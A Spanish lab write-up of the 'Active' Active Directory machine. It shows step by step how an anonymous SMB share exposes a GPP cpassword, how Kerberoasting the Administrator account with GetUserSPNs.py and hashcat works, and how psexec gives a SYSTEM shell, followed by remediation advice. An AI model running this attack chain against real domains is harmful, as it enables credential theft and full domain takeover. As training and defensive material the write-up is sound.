Entrada

Active

Controlador de dominio de Active Directory: contraseña de GPP descifrable y Kerberoasting contra Administrator.

Active

Publicado por Jaime Hereza Niño

Publicado 01/10/2026 Actualizado 04/10/2026
5 min de lectura
Mi puntuación
41131 votos
MáquinaSODificultadIP
ActiveWindowsEasy10.10.10.100

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.10.10.100 active

Resumen

Active es un Active Directory muy didáctico y de los que mejor enseñan dos técnicas imprescindibles en entornos Windows: una contraseña olvidada en una GPP (Group Policy Preferences) dentro de un recurso compartido accesible, y Kerberoasting contra la cuenta de Administrator. De lectura de un XML a Domain Admin.

Vulnerabilidad

GPP cpassword (MS14-025)

Las Group Policy Preferences permitían guardar contraseñas en ficheros XML del SYSVOL, cifradas con AES. El problema: Microsoft publicó la clave, así que ese cifrado es reversible por cualquiera. Quien pueda leer el recurso SYSVOL/Replication puede descifrar el cpassword y obtener credenciales válidas.

Kerberoasting

En Kerberos, cualquier usuario del dominio puede pedir un ticket de servicio (TGS) para una cuenta que tenga un SPN asignado. Ese ticket va cifrado con el hash NTLM de la cuenta de servicio, así que se puede crackear offline. Si la cuenta con SPN es Administrator, crackear su contraseña es Domain Admin.

Reconocimiento

Escaneo completo de puertos

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess active
PuertoServicioVersión
53domainMicrosoft DNS
88kerberosMicrosoft Windows Kerberos
139/445smbMicrosoft-DS
389/636ldapActive Directory LDAP
3268ldapGlobal Catalog

DNS, Kerberos, LDAP y SMB: el retrato robot de un controlador de dominio (dominio active.htb).

Enumeración

Listamos los recursos compartidos SMB sin credenciales

┌──(jaime㉿kali)-[~]└─$ smbclient -N -L //active
Replication Disk

El recurso Replication es accesible de forma anónima. Dentro está el SYSVOL replicado, y ahí es donde viven las GPP. Lo recorremos buscando el Groups.xml

┌──(jaime㉿kali)-[~]└─$ smbclient -N //active/Replication
smb> get active.htb/Policies/{GUID}/MACHINE/Preferences/Groups/Groups.xml
<Properties ... userName="active.htb\SVC_TGS" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhUoD8w..."/>

Ahí está el cpassword. Lo desciframos con la clave pública de Microsoft

┌──(jaime㉿kali)-[~]└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhUoD8w...
GPPstillStandingStrong2k18

Credenciales de dominio: SVC_TGS / GPPstillStandingStrong2k18.

Explotación

Las credenciales son válidas en el dominio y ya nos dan acceso a los recursos del usuario SVC_TGS, incluida la flag de usuario (su carpeta en el recurso Users)

┌──(jaime㉿kali)-[~]└─$ smbclient //active/Users -U active.htb/SVC_TGS%GPPstillStandingStrong2k18
smb> get SVC_TGS/Desktop/user.txt

Con un usuario de dominio en la mano, pasamos a por el dominio completo.

Escalada de privilegios

Con un usuario cualquiera ya podemos hacer Kerberoasting. Pedimos los tickets de las cuentas con SPN

┌──(jaime㉿kali)-[~]└─$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip active -request
ServicePrincipalName Name MemberOf -------------------- ------------- ------------------------- active/CIFS:445 Administrator CN=Group Policy Creator Owners... $krb5tgs$23$*Administrator$ACTIVE.HTB$...(hash TGS de Administrator)

¡La cuenta con SPN es Administrator! Crackeamos su ticket offline con hashcat (o john)

┌──(jaime㉿kali)-[~]└─$ hashcat -m 13100 admin.hash /usr/share/wordlists/rockyou.txt
Ticketmaster1968

Ya tenemos la contraseña del administrador del dominio. Abrimos shell como SYSTEM en el DC con psexec

┌──(jaime㉿kali)-[~]└─$ psexec.py active.htb/Administrator:Ticketmaster1968@active
C:\Windows\system32> whoami nt authority\system

Flags

┌──(jaime㉿kali)-[~]└─$ smbclient //active/Users -U active.htb/SVC_TGS%GPPstillStandingStrong2k18 -c "get SVC_TGS/Desktop/user.txt"
C:\> type C:\Users\Administrator\Desktop\root.txt

Cómo se arregla

  • Eliminar las GPP con contraseñas: aplicar el parche MS14-025 y borrar los XML antiguos del SYSVOL que contengan cpassword; nunca guardar contraseñas en GPP.
  • Restringir el acceso a los recursos: el SYSVOL/Replication no debería permitir lectura anónima de ficheros sensibles.
  • Blindar las cuentas con SPN: usar contraseñas largas y aleatorias (idealmente cuentas gMSA) para que el Kerberoasting sea inviable; jamás poner un SPN sobre la cuenta de Administrator.
  • Monitorizar peticiones TGS: un pico de solicitudes de tickets de servicio es una señal clara de Kerberoasting.

Conclusiones

Active condensa dos de los ataques más rentables en AD: las GPP con contraseñas descifrables (un fallo que, pese a tener parche desde 2014, sigue apareciendo en auditorías) y el Kerberoasting, que convierte a cualquier usuario del dominio en cazador de hashes de cuentas de servicio.

La moraleja: en Active Directory, un simple recurso compartido mal protegido y una cuenta de servicio con contraseña débil son suficientes para pasar de cero a Domain Admin.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.